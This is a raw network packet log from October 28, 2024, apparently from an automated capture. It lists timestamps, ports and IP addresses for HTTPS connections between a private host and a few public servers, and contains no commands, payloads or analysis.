Oct 28, 2024 19:12:49.571536064 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.571544886 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.627681017 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.627729893 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.627741098 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.627902985 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.627947092 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.627954006 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.628067017 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.628114939 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.628122091 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.631700993 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.631742954 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.631752014 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.631869078 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.631908894 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.631915092 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.640415907 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.640463114 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.640472889 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.647159100 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.647202969 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.647212029 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.656718016 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.656774044 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.656783104 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.665615082 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.665659904 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.665669918 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.673336029 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.673391104 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.673401117 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.742229939 CET	443	59193	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.742975950 CET	59193	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.742993116 CET	443	59193	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.743694067 CET	59193	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.743700027 CET	443	59193	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.768984079 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.769068956 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.769174099 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.769258976 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.769344091 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.769428968 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.769516945 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.769629002 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.770611048 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.770627975 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.770637035 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.770674944 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.770874977 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.771230936 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.771333933 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.771356106 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.771471977 CET	59194	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.771503925 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.771527052 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.771564007 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.771570921 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.771671057 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.771722078 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.771728039 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.772232056 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.772273064 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.772313118 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.772319078 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.772438049 CET	59194	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.772444963 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.772444963 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.772479057 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.772485971 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.773159981 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.773189068 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.773322105 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.773365974 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.773371935 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.773472071 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.773504972 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.773511887 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.774019957 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.774034023 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.774183035 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.774229050 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.774236917 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.774333954 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.774369955 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.774375916 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.778584957 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.778631926 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.778640032 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.778737068 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.778775930 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.778780937 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.780343056 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.780641079 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.780649900 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.781188011 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.781193972 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.786981106 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.787045956 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.787055016 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.788256884 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.788299084 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.788306952 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.796046019 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.796097040 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.796108007 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.873750925 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.873809099 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.873820066 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.874324083 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.874371052 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.874382019 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.874454975 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.874510050 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.874516010 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.874596119 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.874634027 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.874639034 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.875058889 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.875106096 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.875113010 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.875193119 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.875242949 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.875248909 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.876053095 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.876099110 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.876106024 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.876203060 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.876249075 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.876254082 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.876358032 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.876390934 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.876395941 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.877298117 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.877346992 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.877353907 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.877459049 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.877496004 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.877501965 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.877610922 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.877652884 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.877659082 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.877778053 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.877823114 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.877827883 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.878695965 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.878743887 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.878748894 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.878844023 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.878885984 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.878891945 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.878988981 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.879031897 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.879036903 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.879108906 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.879183054 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.879234076 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.895705938 CET	443	59193	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.897104979 CET	443	59193	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.897165060 CET	59193	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.897290945 CET	59193	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.897306919 CET	443	59193	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.901982069 CET	59197	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.902010918 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.902057886 CET	59197	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.902479887 CET	59197	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.902492046 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.909816980 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.909949064 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.910011053 CET	59194	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.910037041 CET	59194	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.910037041 CET	59194	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.910053015 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.910063028 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.913362026 CET	59198	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.913405895 CET	443	59198	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.913465977 CET	59198	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.913657904 CET	59198	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.913686991 CET	443	59198	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.914769888 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.914822102 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.914871931 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.914877892 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.914917946 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.915085077 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.915102959 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.915127039 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.915134907 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.918749094 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.918768883 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.918828964 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.919125080 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.919135094 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.926873922 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.926954985 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.927004099 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.927015066 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.927057981 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.927079916 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.927093983 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.927104950 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.927109957 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.927123070 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.927126884 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.931190014 CET	59200	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.931210041 CET	443	59200	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.931256056 CET	59200	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.931380987 CET	59200	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.931396961 CET	443	59200	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.105649948 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.106055975 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.106105089 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.109499931 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.109579086 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.110687017 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.110752106 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.111308098 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.111341953 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.166027069 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.189102888 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.189760923 CET	59196	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.189793110 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.190593958 CET	59196	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.190606117 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.326333046 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.326457977 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.327125072 CET	59196	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.332077980 CET	59196	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.332120895 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.332159042 CET	59196	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.332175016 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.338234901 CET	59202	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.338273048 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.338372946 CET	59202	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.341466904 CET	59202	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.341489077 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.688710928 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.688782930 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.688817978 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.688864946 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.688901901 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.688919067 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.688922882 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.688919067 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.688987017 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.689038038 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.689038992 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.689105034 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.689337015 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.689646006 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:50.689673901 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:50.835000992 CET	443	59198	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.835331917 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.835660934 CET	59198	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.835676908 CET	443	59198	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.836371899 CET	59198	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.836373091 CET	59197	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.836379051 CET	443	59198	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.836390018 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.836996078 CET	59197	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.837006092 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.838629961 CET	443	59200	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.839119911 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.841089010 CET	59200	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.841105938 CET	443	59200	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.841411114 CET	59200	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.841419935 CET	443	59200	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.841939926 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.841939926 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.841953039 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.841959953 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.971735954 CET	443	59198	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.971889973 CET	443	59198	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.972100973 CET	59198	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.972100973 CET	59198	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.972227097 CET	59198	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.972255945 CET	443	59198	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.972528934 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.972596884 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.972697973 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.972826958 CET	59197	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.972851038 CET	59197	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.972851038 CET	59197	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.972866058 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.972875118 CET	443	59197	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.975303888 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.975308895 CET	59203	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.975338936 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.975369930 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.975460052 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.975462914 CET	59203	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.975601912 CET	59204	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.975609064 CET	59203	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.975620985 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.975640059 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.979383945 CET	443	59200	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.980086088 CET	443	59200	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.980176926 CET	59200	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.980176926 CET	59200	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.980350018 CET	59200	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.980360031 CET	443	59200	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.982134104 CET	59205	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.982166052 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.982289076 CET	59205	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.982353926 CET	59205	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.982364893 CET	443	59205	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.982444048 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.982530117 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.982626915 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.982636929 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.982752085 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.982752085 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.982882023 CET	59199	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.982889891 CET	443	59199	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.984529972 CET	59206	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.984539986 CET	443	59206	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:50.984688997 CET	59206	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.984729052 CET	59206	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:50.984734058 CET	443	59206	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.106452942 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.107264042 CET	59202	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.107264996 CET	59202	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.107289076 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.107300043 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.249658108 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.249730110 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.249842882 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.250005007 CET	59202	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.250035048 CET	59202	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.250035048 CET	59202	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.250051022 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.250058889 CET	443	59202	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.252748966 CET	59207	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.252768993 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.252933979 CET	59207	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.253047943 CET	59207	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:51.253060102 CET	443	59207	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.775495052 CET	443	59204	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.777677059 CET	443	59203	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:51.779980898 CET	443	59206	13.107.253.45	192.168.2.4
